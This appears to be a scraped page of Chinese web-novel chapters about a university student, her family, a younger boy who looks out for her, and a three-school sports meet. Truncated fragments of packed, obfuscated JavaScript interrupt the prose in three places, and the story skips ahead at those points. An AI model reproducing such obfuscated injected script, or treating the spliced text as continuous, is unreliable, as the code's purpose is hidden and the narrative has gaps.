RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呀说了多少遍显卡显卡,什么显示卡。”舒不凡夺过手机,“舒澄,是显卡不是显示卡,别听我妈乱说,我把淘宝截图拍给你…算了,你到时候直接把钱给我转过来吧,我妈说你给我转两千七就行,多的钱我买零食。” 舒澄:“你这次期末考多少分?” 舒不凡一听这话,嗷一声叫开,在电话另一头撒泼,舒澄隔着手机都能看到他现在肯定在客厅又蹦又跳,咧着大嘴发疯尖叫。 她真庆幸今年寒假没有回家。 真清净。 黄丹拿过电话,骂道:“你这个死丫头哪壶不开提哪壶,你弟弟这次期末考试发烧没考好,你问这话不是故意惹他不痛快吗?” 舒不凡这种借口,也只有黄丹会信以为真,还真的以为她这个宝贝儿子是因为发烧才没考好。 如果让她知道有一个叫段叙的人,期中考试少考一科,总分都过了五百,不知道她会是什么表情。 舒澄就是故意的,但她仍作出听话的模样,跟黄丹道歉。 “你什么时候发工资?” “2月末,开学前一天。” “嗯,到时候别忘打钱,还有你舅妈说的那个雕儿,你记着点,你舅妈怎么说也养过你几年,要知恩图报,知道吗?” “知道了。” 嘟嘟——电话被立刻挂断。 舒澄关掉手机,为自己在接电话前还抱有希望而感到可笑。 她走到拖布旁边,打算继续拖地,一抬头,看见了不知道什么时候出现在门口的段叙。 他手里拎着保温饭盒,头发、肩膀上都是雪,耳廓通红。 舒澄怔住,有几分慌乱,不知他听见多少,“你怎么来了?” 段叙将保温饭盒放在一旁的桌子上,“家里在包饺子,我姐让我给你送一点过来。” “段斐从国外回来啦?” “还没。” 舒澄上前拿起沉甸甸的保温饭盒,不知道里面装了多少饺子,她笑道:“谢谢弟弟,我会好好吃的。” 段叙系着米色围巾,三分之一张脸藏在围巾下面,额前头发柔软,看起来有几分乖巧。 他轻轻点头,“饺子送到了,我就先走了。” “好。”舒澄想到什么,跑到旁边拿了一把伞,“外面雪太大了,你打把伞吧,不然回到家雪一化衣服就要湿了。” 段叙接过雨伞,说了声谢谢。 他推门要出,屋外鹅毛大雪顺着缝隙被吹进屋内不少。 少年眸色犹如夜色,深沉的像是一团墨,缓缓启唇,“舒澄姐,新年快乐。” 舒澄微愣,随即笑得开心,“谢谢弟弟,也祝你新年开心,明年学习更上一层楼。” 少年如冷玉的面色化开一抹暖,“这话你说过了。” 舒澄不解。 他道:“元旦的时候。” 要是让祝颂文章,舒澄能写个十篇八篇不犹豫,但一涉及到人与人之间的祝福,她确实词汇量少得可怜,她赧然道:“高中生嘛,学习最重要。” “那我,祝你万事胜意。” 段叙唇角扬起一个细微的弧度,“舒澄姐,那我也祝你,万事胜意。” 男生的身影逐渐消失在漫天鹅毛大雪中。 舒澄看着他越来越模糊的背影,喃喃自语,“会的。” “会的。”她又重复了一遍,语气愈发笃定。 有一条微信发过来。 是舒不凡。 【舒澄,刚才忘了说,生日快乐啊。】 【显卡的钱你能提前给我吗?我寒假就想玩。】 14. 弟弟 舒澄盯着这条微信看了很久,说不上是什么情绪。 没想到居然是舒不凡跟自己说了生日快乐,她这个弟弟,说实话算不上什么好孩子,更不是什么好弟弟,但偏偏在这种事情上,有时又让她无话可说。 不知道是不是那沉甸甸的饺子饭盒温暖了舒澄的心脏,她从卡里转到微信里两千九百块钱。 第一次转账:两千七,备注:显卡钱。 第二次转账:两百,备注:新年快乐。 舒不凡收钱速度很快,除此之外没再发消息,不用说舒澄也知道他肯定是去淘.宝买显卡了。 她将最后一点地拖完,清理干净拖把,捧着饭盒坐在餐桌旁。 她拧开保温饭盒,热气腾腾的饺子直冲镜片,将她的视线完全模糊。 舒澄摘掉眼镜,拆了双一次性筷子,夹起一只白嫩滑溜的饺子咬了一口。 茴香馅的。 那一瞬间,网咖外不知哪家放了鞭炮,噼里啪啦好不热闹。 与此同时,一滴泪,无声滑落。 … 段家。 吴姿盯着锅里即将要沸腾的热水,扭头对坐在沙发里看电视的儿子说道:“今年是抽了什么风,突然想吃茴香馅的饺子?你不是不喜欢茴香的味道吗,你知不知道你老娘我馋这一口有多久了,因为你一次没在家做过。” 段叙漫不经心地听着电视里的春晚,“突然想尝尝。” “那可太好了。”吴姿瞧着锅里的水沸腾,她接了一杯凉水倒进去,继续等锅开,“不知道小斐那个室友喜不喜欢吃茴香馅的?万一人家不愿意吃岂不是不太好,要我说就应该包个芹菜馅的送过去。” “喜欢。” … 年味一直持续到元宵节过后才淡去。 街道上的福字和中国结不知在哪一晚被人撤走,第二天起来,街道又是一片苍茫的白色。 网咖老板从老家回来后,舒澄又搬回了寝室。 老板对舒澄这段时间以来的工作赞不绝口,问她有没有兴趣开学以后每周末都过来兼职。开学后邵遥遥的家教课就要继续上,舒澄还想留一些时间给自己去图书馆,只好婉拒。 离开学只剩一周的时候,上学期期末的奖学金也入账了。 那天门外阳光明媚,舒澄正坐在前台跟耳机里的英语广播练习口语,奖学金入账的短信就发了过来。 她看着日渐丰厚的账户余额——虽然只有五千多块,但她已经有了一种日子越过越好的感觉,特幸福。 叮铃—— 有人推门进来。 年后老板在大门挂了一只招财纸鸢风铃,有人进来时,风铃就会发出一阵清脆的声音。 舒澄看过去,是段叙,他身边还跟着上次在家长会遇见的男生。 没记错,是叫杜尚兰。 过了一个年,段叙的头发比之前长了不少,他今天穿着一件深色外套,没戴围巾,看起来很清爽。 “舒澄姐。” 杜尚兰凑上来笑嘻嘻道,“舒澄姐!” 舒澄笑着跟他们打招呼,“来上网?” “是啊。”杜尚兰笑成一朵花,“开学前最后的放肆,姐姐帮我们开十个小时的机器,今天我跟老段要奋战到后半夜!” 十个小时? 舒澄眨眨眼。 段叙上前,“别听他的,两台机三个小时。” 杜尚兰脸一垮,“老段,我妈今天不在家,这么好的机会真不跟我战斗十个小时吗?” 段叙抽出两张红色毛爷爷,“我惜命。” “狠心!” 说是三个小时,到最后杜尚兰还是软磨硬泡让段叙加了一个半小时。 有杜尚兰在,这一下午的网咖大厅甚是热闹,时不时就能听到他骂队友的声音,撕心裂肺。 玩到最后,从位置下来,杜尚兰揉着酸痛的手腕,“我靠,为当年我妈没真听了我的鬼话给我扔进青训点赞,我坐了五个小时就累的要死,真是天天这么玩迟早要吐。” “谁一开始说想玩十个小时?” “我嘴贱。” 段叙勾了下嘴角,“吃饭去?” “吃!段公子买单那必须吃啊。”杜尚看到前台的舒澄,“舒澄姐也没吃饭呢吧,要不要叫她一起?” “随你。” 杜尚兰典型社牛,二话不说就来到前台邀请舒澄一起吃晚饭。 舒澄有些意外,“谢谢弟弟,但我得看店,走不开,你们去吧。” “好吧。”杜尚兰靠在前台,像条没骨头的鱼,“老段,你想吃什么?隔壁商场新开了一家烧烤店,要不要去?” 段叙:“肯德基。” ? 杜尚兰挖了挖耳朵眼,“啥?肯德基?” 这种快餐他跟段叙从小吃到大,还没吃够?初中时每周五他都会带着两个全家桶跟段叙在他房间一呆就是一整晚,ps机都能打出火星子。 导致他现在一听到肯德基三个字就能想起当年怎么玩也玩不过去的那关游戏。 杜尚兰眨巴眨巴眼睛,看了看段叙那不像开玩笑的表情。 他挠挠耳朵,又看看旁边的舒澄。 似乎有点明白了。 这小子还怪贴心的。 杜尚兰立刻点头,“肯德基好啊,就吃肯德基吧,舒澄姐你不是要看店吗,正好点个外卖,我也懒得走那么远,在这吃完再回家好了。” 舒澄点点头,不疑有他。 舒不凡就很喜欢吃肯德基和麦当劳,所以在她看来段叙要吃肯德基是一个再正常不过的事情。 她想到什么,拿出手机,“我来买。” 杜尚兰眼睛一亮,“舒澄姐,你要请客吗?” 段叙请她吃过一顿丰盛的午餐,过年时还送了饺子。 舒澄觉得自己应该请他吃一顿饭,有来有回,不能占高中生的便宜。 段叙道:“不用了舒澄姐,杜尚兰他过年拿了很多压岁钱,他来买。” “怎么可能让你们请客。”舒澄已经点到肯德基的外卖界面,“正好我也刚拿了奖学金,荷包充足,你们两个运气好。” “那谢谢舒澄姐!”杜尚兰欢天喜地应下,坐在餐桌旁瘫着,很没坐相。 段叙看着杜尚兰没心没肺翘二郎腿的样子,恨不得把他从椅子上拎起来。 这个傻逼对钱没有概念,还以为所有人都像他一样不愁吃穿。 舒澄:“三个全家桶够吗?” 段叙:“两个就可以了,我们两个中午吃过饭来的。” 杜尚兰在旁边听着,刚想说老段你记错了吧,咱俩中午没吃饭啊,我不是十二点才把你从床上拽起来就来了网咖吗,嘴唇还没张开,就被段叙斜过来的眼神逼退。 十六七岁的男生正是长身体的时候,饭量惊人的大,一顿饭能吃掉四个汉堡再加一瓶可乐的杜尚兰咽了咽口水,“舒澄姐,够的,我只吃一个小汉堡就饱了。” 舒澄惊讶,“你看起来这么高,饭量这么小啊。” 杜尚兰恨不得咬手绢。 段叙替他回:“嗯,他小鸟胃。” 半个小时后。 外卖送到,是三个全家桶。 杜尚兰早就饥肠辘辘,看到三个全家桶差点像见到亲爹一样扑上去,眼泪差点流出来,“舒澄姐,你人也太好了吧。” 舒澄笑笑。 舒不凡一个人都能吃掉将近一整个全家桶,眼前这两个男生怎么可能吃那么少。她又不傻。 前台有人上机,舒澄便拿走了一个汉堡和一杯饮料到前台一边吃一边帮忙登记。 不远处餐桌旁,杜尚兰左手汉堡右手炸鸡吃的满脸幸福。 舒澄不知道他是饿的,吃什么都香。还以为他真的很喜欢肯德基。 她咬一口汉堡,浓香的炸鸡味充斥她的口腔。 她还没怎么吃过热乎的肯德基,之前都是舒子彤或者舒不凡吃剩了,她才会被分到一点。所以基本都是冷掉的。 原来肯德基这么好吃。 怪不得段叙和杜尚兰这么喜欢。 … 冬雪消融,秃枝抽芽。 三月,草长莺飞。 寒假结束。 上学期期末舒澄的成绩很高,绩点接近满分,这让她的名字在众教授之间有了一席之地,平时下课她也会帮老师们的跑腿。这种差事一般除了班级干部没人愿意做,浪费时间,基本都是苦力。 但舒澄乐在其中,她觉得就算在办公室听听韩导员跟其他教授聊天,也能有些收获。 这些教授洞察人心,见解独特,各有不同。 就比如有一位教授办公桌旁挂着一幅草书——唯见月寒日暖,来煎人寿。 韩育说那位是八百个不愿意上班,觉得上班就是煎熬,所以天天上课前对着这幅草书唉声叹气。 舒澄就想到了对着这学期课表叹气的叶从容。 这天,她正在办公室帮韩育整理论文资料。 她一边整理,一边看这些论文,其中有一个论文中提到宜大跟德国学院的教师心理交流项目,不免多看了几眼。 韩育见她感兴趣,“咱们每年都会派老师去德国交流,开眼看世界嘛,不能总自己在国内格着。” 说着,她恨铁不成钢道,“要不是心理系在宜大不受重视,也会有给学生的交流机会,你看南大每年都派二十几位出国交流,去年去的是哪来着——好像是日本。” 嘭一声,办公室门被人一脚踹开。 来人就是煎人寿的那位教授,也是心理系的副院长。人不高,体型浑圆,留着羊角胡。 他气得不轻,咣当一声把门关上,边走边骂,“真不知道这校长今年怎么想的,开什么三校运动会,真把宜大当成三校的直升学校了?我看每年宜大新生三校里连一半都占不上,凭什么给他们特权?这让全国高中怎么看咱们宜大?真掉份!” 韩育递给舒澄一个你整理你的别管这老疯子的表情,端上茶水到副院长身边,“三校运动会跟咱们宜大有什么关系?” 副院长吹胡子瞪眼,结果茶水吸溜一口被烫的不轻,直冲韩育咧嘴,“今年三校运动会要在咱们学校办,你说校长是不是脑子有水?教育讲求的就是一个平等,他三校的学生哪神气了?搞什么特权!” 一通骂完,副校长这才注意到韩育办公桌旁边坐了个清秀的小姑娘。 有学生在。 他手一歪,差点让茶水洒出来。 舒澄眼观鼻鼻观心降低自己存在感。 “这是我亲学生。”韩育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三校运动会三年一届,顾名思义就是六中、附中和颂北三所学校联合举办的,那快赶上宜宁最热闹的活动之一了,之所以这么受重视有两个原因,一个是这三所学校贼豪,尤其颂北,这所学校里面的学生那都贼有钱,所以每届都举办的贼盛大,上一届还是我高一,那时候请了THESUN开场,你知道THESUN吧,前两年贼火的一个男团,出场费都几百万。” “再一个就是,如果在三校运动会上夺得排名,可是对保送有好处的,就像附中,他算保送分的时候会参考德育分。而且这三所高校都有体育生,国家队的教练也会来运动会上看有没有好苗子。” “上一届就在宜宁奥体中心举办的,这届直接来了宜大,真的太牛了。好恨我怎么就毕业了,不然真想参与进去!不知道今年会请什么明星来开场,好期待啊天。” 舒澄大受震撼。她想过三校运动会似乎会很盛大,却没想到能盛大到这种地步。 保送德育分、国家队教练、流量明星开场。 全都触及到她知识盲区。 叶从容眼珠一转,“你刚才是不是说学生会要招募志愿者?” “嗯,听到韩导找学生会会长提了一嘴,参加的人可以加社会实践分。” 在宜大除了必修课、选修课外,还有一项社会实践。 社会实践一共12分,修满才可以毕业。到目前为止,舒澄的实践分还是0,她对这个可以加分的志愿者项目挺有兴趣。 “哎呀什么加不加分的不重要,这个热闹我一定要凑!”叶从容心心念念明星盲盒开场,对五月份的三校运动会期待无比。 她迫不及待在群里问不在寝室的两个人,要不要一起报名三校运动会的志愿者。 陈小雨也没有社会实践分,二话没说就同意报名。 段斐一听,发了一大堆嫌弃的表情包,表示自从高中一头扎进跳远的沙坑里后,她自此远离所有跟运动会有关的东西。 “好期待好期待。”叶从容兴奋地搓手,对她来说开场表演就像拆盲盒,她作为志愿者没准还能得到一个后台跟明星近距离接触的机会。 舒澄被叶从容的情绪带动,也有些期待。 她还从来没参加过这么大规模、正式的运动会,而且又可以加社会实践分,一举两得。 待正式通知发下来后,舒澄跟叶从容和陈小雨一起报名了志愿者。 时间过得飞快。 就像宜宁的春天,一夜枝头绿,一夜野花开。 三校运动会第一天,几十辆大巴车陆续停在宜大校门外。 大巴车以颜色区分,共有红黄蓝三色,分别对应着附中、六中和颂北高中的校徽颜色。 舒澄被分到了流动志愿部,上午跟着接待处做路线指引。 几十辆大巴车分别打开车们,三校的学生们鱼贯而出,舒澄看着乌泱泱的年轻面孔,一瞬间有些脸盲。 好多人。 周围的环境顿时喧闹起来。 混乱中,不知谁在背后退了舒澄一把,力度很大。她脚下一个踉跄,失去重心,这么多人她要是倒在地上,不被踩扁也好不到哪里去。 就在这时,一只冰凉的手握住舒澄的手臂,将她的身体支住,然后慢慢扶起来。 舒澄头上戴着橙红色的鸭舌帽,费劲巴力抬起头才看清楚扶她的人,她表情惊喜,“这么巧?” 段叙望向舒澄身后,略微眯了眯眼,收回手,“舒澄姐,身后那个粉外套的女生推你,小心点。” “好,谢谢弟弟。” 舒澄别过头,身后不远处孔苓苓穿着粉色外套,跟身边的男生笑靥如花。 再回头,段叙的身影已经不见,没入人群。 15. 弟弟 一上午,舒澄像个停不下来的蜜蜂,从校门口飞到体育场,又从体育场飞到综合楼。 等她好不容易得空休息,体育场内的三校运动会已经走完方队,领导开始讲话。 “在这个春光明媚的五月,我们迎来三年一届的三所高校联合运动会,在这里大家可以尽情泼洒青春的汗水……” 舒澄蹲在会场角落不起眼的阴影里。 她走了一上午,双腿又酸又累,鼻尖冒了点浮汗,此时正将头上志愿者发的鸭舌帽拎在手里扇风。 硕大的体育场内红黄蓝三□□限清晰,座无虚席。 宜大体育场占地面积不小,但还没大到可以容纳三所高校的全体学生。 舒澄问出心中疑惑。 叶从容蹲在舒澄身边,嘴里咬着一根从母校学妹手里抢过来的棒棒糖,“三校运动会除了体育特长生不限年级外,只对高一开放,不然你以为它为啥三年一届。过了高一,高二高三只剩下学习了。” “原来是这样。” 话音落时,场内突然爆发出一阵尖叫。 一位身材娇小的女性走到体育场中央,用热情的语气跟全场打招呼,“祖国的花朵们,你们好呀!” “卧槽!”叶从容嘴里的棒棒糖差点掉出来,“这不是那个什么什么综艺里的主持人吗?” 舒澄极少看综艺,所以不认识。 叶从容将人认了出来,激动地拍手,“真是王暖!我靠我怎么忘了她就是颂北毕业的,这是来帮母校撑场子来了,好了我更期待一会儿的表演了。” 王暖专业素养极高,再加上作为综艺王牌主持自带的热度,很快就将现场的氛围推入高潮。 “我知道大家都很期待一会儿的开场表演,我记得上一届是不是THESUN弟弟们来的?跟大家讲哦,这届的更厉害!可以期待一下哦~” “期待期待。”叶从容重现苍蝇搓手,甚至不知道从哪摸出了一个追星人专用大炮。 她把相机架在眼前,架势十足,“亮个相吧!” 舒澄看着她推出来的镜头快有半米长,瞠目结舌。 “让我们用最热烈的掌声,欢迎宜宁市教育.局局.长陈兴盛先生为大家表演一首青春颂歌!” 话音一落,全场寂静。 似乎是为了应对这种情况,位于体育场四个角价值不菲的音响爆发出一阵热烈的掌声和欢呼声,做出一副全场期待的假象。 不巧,其中一个就在舒澄和叶从容头顶。 震耳欲聋的声音直透胸腔,震得人心脏咚咚直跳。 “挖槽!”叶从容极其无语地骂了句脏话,她扛着相机恨不得冲到场上把打算诗歌朗诵的领导薅下台,扯嗓子骂,“谁他妈想听他诗朗诵啊,我炮白背了啊。” 舒澄同情地看向叶从容。 要知道,三校运动会持续三天,如果要报名志愿者,那只能一口气将三天的全都报了,叶从容为了这么个诗歌朗诵,后面两天全都要跟着满场跑,随叫随到。 舒澄一开始就是为了实践学分,所以没有叶从容那么崩溃。 “那扛相机的学生。”有人小跑过来。 叶从容满脸不快,“什么事?” “你这个相机应该拍人很清晰吧。” 叶从容:“五百米外都能把你脸上的毛孔拍出来。” “那正好。”那人招招手,“征用一下,我看你也是志愿者,正好这几天跟着我们拍照吧。” 叶从容顶着志愿者的外套,不好拒绝,咬着牙满心愤恨跟那人走了。 临走前还不忘跟舒澄翻白眼,用口型痛骂自己这不争气的破嘴。 诗歌朗诵结束后,运动会正式拉开帷幕。 比赛项目开始,舒澄被安排到800米检阅。 她正忙不迭地给参赛同学登记,一瓶冰凉的矿泉水贴在她脸上。 她被吓了一跳,一扭头,段斐正笑的开心。 段斐一屁股坐在舒澄身边,看了眼桌边的长队,“我刚去陈小雨那看了一眼,她正拎着桶满校园捡垃圾呢,感觉你这个活还可以,最起码能坐着。” 舒澄诧异地打量段斐身上的志愿外套和鸭舌帽,“你不是没报名吗?” “是啊。”段斐压低声音,“我两百一小时租的,你们都不在,我一个人没意思。” “……” 舒澄忍不住笑着摇摇头,“那你别让从容听见,不然她恐怕要气死。” “叶子咋了?” “她为了开场表演报名的志愿服务,结果今年的开场是领导诗朗诵。” 段斐幸灾乐祸地笑,四处打量一圈,“她人呢?” “有个领导样子的人看她背着相机,让她去跟着一起拍照了。” 段斐笑得更开心,“她好惨。” 舒澄将参赛的同学信息检录完毕,将段斐送的矿泉水拧开喝了一口。 冰凉的液体顺着喉咙流进胃里,冲淡了阳光带来的热意。 “舒澄?”一道男生响起。 舒澄看向声音来源,皱了下眉。 说话的人面孔陌生,她没什么印象。 苏蓝也穿着志愿衣服,看他胸前的工作牌,是场内指引,所以行动比舒澄自由很多,可以在体育场内随意穿梭,“是我呀,苏蓝。” 想起来了。 去年在图书馆有一个奇怪的男生给她送奶茶,舒澄早把这人忘在脑后,她礼貌地冲苏蓝点点头,算是打招呼。 段斐咳嗽一声,咬耳朵道:“我是不是当电灯泡了?” “……” 舒澄告饶,“我不认识他。” 段斐表面冲苏蓝笑着托腮,实际嘴唇嗡动,不知道的还真看不出她在跟旁边的人说话,“不认识可以认识嘛。” “这叫苏南还是苏蓝,长得还行挺清秀的,呦呵还是内双呢,欸你俩都带着黑眼镜,别说还挺般配。” 段斐冲舒澄挤眼睛,“我去看看能不能找到叶子,狠狠嘲讽她一顿。你俩聊。” “……” 舒澄这副眼镜,还是刚上高一时配的,后来只在度数不够的时候换了镜片,镜框一直没换。 她对这种外在的东西向来不在意,所以哪怕镜腿掉漆都没想过换掉。可此刻听段斐说的那句还挺般配,她心里一阵恶寒,再看向苏蓝脸上那副同色系眼镜,恨不得立刻就去眼镜店重新配一个镜子。 段斐走后,苏蓝很不客气的坐在她的位置上。 舒澄默不作声将凳子挪远。 苏蓝道:“后来就没在图书馆碰见过你了,没想到今天竟然在这里遇上了,还真是有缘分。” 舒澄微微一笑,“是吗,还好。” 自从苏蓝上次突然出现送奶茶,后面她就换了自习教室,宜大图书馆那么大,每天人来人往,能再碰见才是有鬼。 “是啊,这次你手机应该有电吧?” 苏蓝看到舒澄脖子上挂着的工作牌,下方写着宜宁大学心理系17级,“你是心理系的?我是英语系的,加个微信以后有需要可以找我啊。” 听到他是英语系,舒澄心里一动,“你们院是不是经常举办外籍讲座?” “是啊。”苏蓝扬起眉毛,“你感兴趣?那可以加个微信到时候开讲座我通知你,我们院的讲座都挺有意思的,不枯燥,对口语提升还挺大的。” 舒澄早就想提升口语,只是她自己跟着英语播报练效率很低。 之前韩导员也说过有认识英语系的人可以让她们帮忙带进英语系自己举办的外籍讲座,参加讲座的讲师都是土生土长的外国人,再不济也是在国外生活了十多年的教授,相比其他学院英语课的应试教育,含金量更高,帮助也更大。 所以这次她没再拒绝,而是拿出手机跟苏蓝加上好友,“那麻烦下次有讲座你跟我说一下。” “小意思。”苏蓝收起手机,笑着说,“早知道这样能加上你的微信,我一开始就该点名自己是英语系的。” 不远处,4*100接力检阅处。 杜尚兰将手卷成望远镜状,四处扫视。 视线落在某一处时,他停下来,“老段,800米那负责登记的是不是舒澄姐啊?她身边还坐了一个男的诶。” 段叙往800米检阅处瞥了一眼,声音不冷不热,“是她。” “那是不是舒澄姐的男朋友?” “到你了,还不登记?” 杜尚兰连说登登登,弯腰在桌子上写个人信息。 段叙看向舒澄所在的方向,末了从鼻腔中溢出一声冷哼。 坐那么远,还说是男朋友? 杜尚兰是不是瞎。 杜尚兰填好信息后,轮到段叙。 他垂眸,看到坐在检阅处穿着粉色外套的志愿者,狐狸似的眸子轻轻眯了眯。 运动会上志愿者众多,但把志愿者外套穿在自己外套里的人,不常见。 这外套颜色,有点眼熟。 孔苓苓一抬头,就见到一位外貌惊人的男生正眯着眼睛看向自己。 这种姿色,绝对是校草内的精品。 她将碎发拨到耳后,露出粉紫色的蝴蝶耳饰,“弟弟,你也跑4*100接力呀?” 段叙扯唇笑,“不然呢。” “4*100很累的哦,跑完记得不要立刻喝水,也不要躺下,要慢慢散步休息。”孔苓苓声音温柔,她最擅长在异性面前树立温柔甜美的形象。 杜尚兰在旁边听着,一口老血差点没喷出来。 他刚才登记的时候,这个学姐这么一句话都没说?! 祸水! 纯纯的祸水! 他狠狠看向老段,以为老段会嗤之以鼻。 没想到,段叙那只狐狸居然笑了一下,“谢谢学姐。” 少年声音过分干净好听,杜尚兰浑身一抖,凭借他对段叙多年的了解,这小子、难不成、在、开屏? 不然怎么笑这么招人?! “登记前先加个微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以哪怕两个寝室挨着,平时也没说过话。 段斐旅游带的特产,也从没给孔苓苓的寝室发过,都是直接略过。 “更搞笑的你们知道是啥吗?”段斐看孔苓苓不顺眼很久了,她最讨厌用鼻孔看人的人,现在想到孔苓苓白天吃瘪的样子,笑容根本忍不住,“你们猜她要微信那个人是谁?” 三人齐刷刷摇头。 叶从容扛着大炮跑了一天,用仅剩的力气吐槽,“三校学生那么多,我们咋知道。” “很简单。”段斐故作神秘,“这人你们都认识。” 段斐母校是附中。 叶从容是六中。 陈小雨和舒澄都是从宜宁外考进来的。 若说哪个人她们四个都知道,那就只剩下一个—— “不会是你弟弟吧?” 段斐哈哈大笑,狂拍桌子,“对啊对啊就是我弟弟啊,妈的笑死我了!” “她要微信要到我弟头上了,真是有够搞笑的,笑死我了哈哈哈哈哈哈!” 这世界真小,舒澄将刚才段斐转述的瓜代入段叙的脸重新想象了一次,忍不住弯唇。 “说起来,今天早上多亏了你弟弟。” 舒澄将早上孔苓苓在背后推她的事情说了一遍。 “还有这事?”叶从容拧着眉,“她这人怎么这样啊,好好的针对你干什么?” 陈小雨:“嫉妒澄子学习比她好吧。” 叶从容呵呵一笑,“她什么档次,也跟澄子比学习,澄子现在能把必修书从头背到尾,她能吗?自己不学习反而怪别人努力?” “她最好祈祷哪天别落在我手里,不然我不会轻易放过她。” 舒澄没想到三人的情绪比她还激动,她动容道,“还好没什么大事啦,多亏了弟弟!” 话题重新回到段叙身上,段斐又忍不住笑起来。 刚才笑是看戏,现在笑是带了几分报复的痛快。 赶巧,孔苓苓跟室友从门外路过。 她路过舒澄她们的寝室门外,冲里面狠狠剜了一眼,跟室友道:“有些寝室怎么都不关门?隔着老远就能听到里面的破锣嗓子在笑,吵死了,当别人不用休息?” 搁在平时,段斐早冲上去骂她。但今天她心情好,靠在门口冲孔苓苓说:“孔苓苓,听说你在体育场想加我弟的微信?” 孔苓苓脸色一僵。 “谁弟?” 叶从容伸出个脑袋,语气天真到气人,“段斐的弟弟呀,还有谁?” 段斐举起手机,“要不要我把我弟弟的微信推给你啊?” 孔苓苓咬牙切齿,狠狠甩头,“不必!” “别呀!”段斐探出大半个身子,“我破锣嗓子,但是我弟弟声音可好听了呢,真不要?你白天不是在体育场要来着了吗?” “神经!” 16. 弟弟 之后,果然没在体育场内看见孔苓苓的身影。 到了运动会最后一天,气温飙升到28度,有了几分立夏的炎热。 学校后勤部给各检阅台加了好几架室外风扇,还搭了红伞。凭借这两个夏日神器,舒澄在伞下还算悠哉。 唯一的缺陷就是,她脚边这个由物理系捐献的发电机,不知道是不是零件老化,嗡嗡响了一天。 最后一天,她被分到的检录项目是足球,参赛人不多,比较悠闲。 时间还早,暂时没人过来检录。 舒澄以手撑脸,百无聊赖。 “舒澄姐!”一道黑白分明的身影跳到前面,正是社牛杜尚兰,“今天你负责足球检录呀?好巧!我跟段叙一会儿上场。” 舒澄往他身后扫过,“段叙呢?” “他被老师叫走了。” 杜尚兰在名录上登记自己的信息,室外风扇的风吹过他汗珠密布的额头,“舒澄姐,你们在这坐着还有风扇呢,真好啊。我们的位置下午正好在阳光下,可热了。” “舒澄。”苏蓝不知从哪冒出来,手里还拿着两瓶矿泉水,“足球检录这么早就开始了。” 又是他。 舒澄不善交际,对苏蓝这种过于热情的同学有些负担,简单嗯了声。 “学生会那边在发水,我看你没来,就帮忙领了两瓶。”苏蓝将冰镇矿泉水放在桌上,透明瓶体上冒出一层水雾,在闷热的红伞下散发出阵阵凉意。 杜尚兰看着冰镇矿泉水,咽了咽口水。 他在大太阳下疯跑一小天,此刻口干舌燥。 舒澄见他目不转睛盯着苏蓝带过来的水,笑了笑,拿起一瓶递给他,“弟弟,这瓶给你喝。” 杜尚兰欣喜坏了,连连道谢拧开盖子就灌了半瓶下肚。 苏蓝扶了下眼镜,“你们认识?” “我室友弟弟的好朋友。”毕竟是用他的矿泉水借花献佛,舒澄对他道了句谢,说完她抬头看看苏蓝,见他仍没有要走的意思。 苏蓝像是没看到舒澄疑惑的眼神,反而去拉她身旁的椅子,想要坐下。 就在这时,一双指节分明的手先他一步扣在椅背上。 段叙拉开椅子,毫不客气坐下,“舒澄姐,好热,能蹭个风扇吗?” 苏蓝的手尬在原地,他搓搓肩膀,语气热络,“这位就是你室友的弟弟吧。” 段叙掀眸,敷衍应好,“学长好。” “你好你好。”遮阳伞不大,此刻容纳了四个人有些拥挤,眼见着三人都没有想搭理他的意思,苏蓝干笑,“那舒澄我先走了,到时候有讲座我微信联系你。” 舒澄:“谢谢。” 苏蓝走后,杜尚兰靠在段叙身上,“那舒澄姐,我也跟老段一起蹭个风扇。” 舒澄将风扇档位调大,又冲他们两个转了一下风扇脑袋,“你们两个拿到名次了吗?” “我游泳拿了个第三,老程4*100团体第二吧。”杜尚兰喝完一整瓶水,将空瓶子放在手里抛着玩。 “挺不错的。” 段叙突然对上杜尚兰清澈的双眼,眸光一闪。 杜尚兰心脏狠狠一跳,总感觉要被坑! 果然,某狗开口:“什么,你还想喝水?喝了一瓶还不够?” 说罢,段叙拍拍杜尚兰肩膀,语气无奈,“想喝直接跟舒澄姐说好了,有什么不好意思的。” 舒澄看过来,见杜尚兰眼珠溜圆,笑着把苏蓝带过来的另一瓶冰水递给他,“直接拿,我自己带了。”她拍拍书桌里的保温杯。 虽然外表只是一个平平无奇的保温杯,但里面可是装着从寝室制冰机里挖来的冰块,比学生会发的水还要冰凉。 杜尚兰:????? 他接过水,笑比哭难看,“谢谢舒澄姐,我脸皮薄。” 罪魁祸首笑了一声,很轻。 但他就是听见了! 吹了会儿风扇,段叙状似无意提到:“舒澄姐,刚才那个学长,是你同学吗?” 舒澄:“算是吧,他是英语系的,我想练练口语,他们院经常举办外籍讲座。” “学口语啊?”杜尚兰一拍段叙大腿,“舒澄姐,你怎么不找老段?他英语贼溜,我们有一次广播坏了,就是他帮忙读的听力试题,纯正外国腔。” “他小时候在国外生活过几年,熏陶的。”杜尚兰表情骄傲,像撒宝似的,“我的口语也都是老段教的,平时跟他用英语对话慢慢就练出来了。” “说真的舒澄姐,还听什么讲座啊怪麻烦的,让老段教你就好了,你都不知道多亏了你那本作文书,我跟老段狠练一个寒假,开学以后语文老师都说我们有进步了,就当他报恩!” 段叙睨他,脸上明摆写着就你话多。 但并没否认杜尚兰的话,“舒澄姐,有需要你可以找我。” 舒澄点头,“好。” 足球比赛开场前,运动员到场中热身。 杜尚兰抻着胳膊,“老段,给舒澄姐送水的那个学长是不是哪里惹过你?” 段叙蹲下系紧鞋带,“没有。” “没有吗?” 想想也是,他们两个应该第一见面吧。 也许是自己看错了。 杜尚兰忽略心里那一丝不对劲的感觉,做了个踢腿的动作。 … 运动会结束后没几天,舒澄就去学校附近的眼镜城换了眼镜。 回到寝室,寝室内三人原本各做各的,听见舒澄开门的声音随口打了句招呼。 叶从容瞥过来一眼,移走。 三秒钟后—— 